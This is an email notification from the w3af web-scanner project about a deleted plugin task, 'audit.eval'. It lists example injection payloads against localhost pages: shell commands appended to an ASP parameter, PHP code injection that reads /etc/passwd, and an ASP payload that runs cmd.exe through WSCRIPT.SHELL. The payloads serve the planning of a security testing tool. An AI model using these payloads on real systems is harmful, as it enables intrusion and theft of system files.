[W3af-svn-notify] [Task #148840] audit.eval

[SourceForge.net <no...@so...>]

Task #148840 has been updated. 

Project: w3af
Subproject: Plugin TODO v1.00
Summary: audit.eval
Complete: 0%
Status: Deleted
Authority  : andresriancho
Assigned to: nobody

Description: I can't believe I forgot this! =)

OS Commands ASP
1.https://localhost/dash/admin/logview.asp
Aquí el sitio nos nuestra un cuadro de dialogo donde debemos ingresar el nombre del log.
Attacks:
laslog5 && dir c:\


OS Commands PHP
2.https://localhost/search.php?storedsearch=\$mysearch%3dwahh
Attacks:
https://localhost/search.php?storedsearch=\$mysearch%3dwahh;%20echo%20file_get_contests(‘/etc/passwd)
https://localhost/search.php?storedsearch=\$mysearch%3dwahh;%20system(‘cat /etc/passwd’)


OS Commands Dynamic Exe ASP
3.https://localhost/search.asp?storedsearch=mysearch%3dwahh:responde.write%20111111
Attacks:
https://localhost/search.asp?storedsearch=mysearch%3dwahh:+Dim +oScript:+Set+oScript+=Server.CreateObject(“WSCRIPT.SHELL”):+CALL+oSCRIPT.Run+(“cmd.exe+/c+dir+>+c:\inetpub\wwwroot\dir.txt”,0,True)

-------------------------------------------------------
For more info, visit:

http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148840&group_id=170274&group_project_id=50603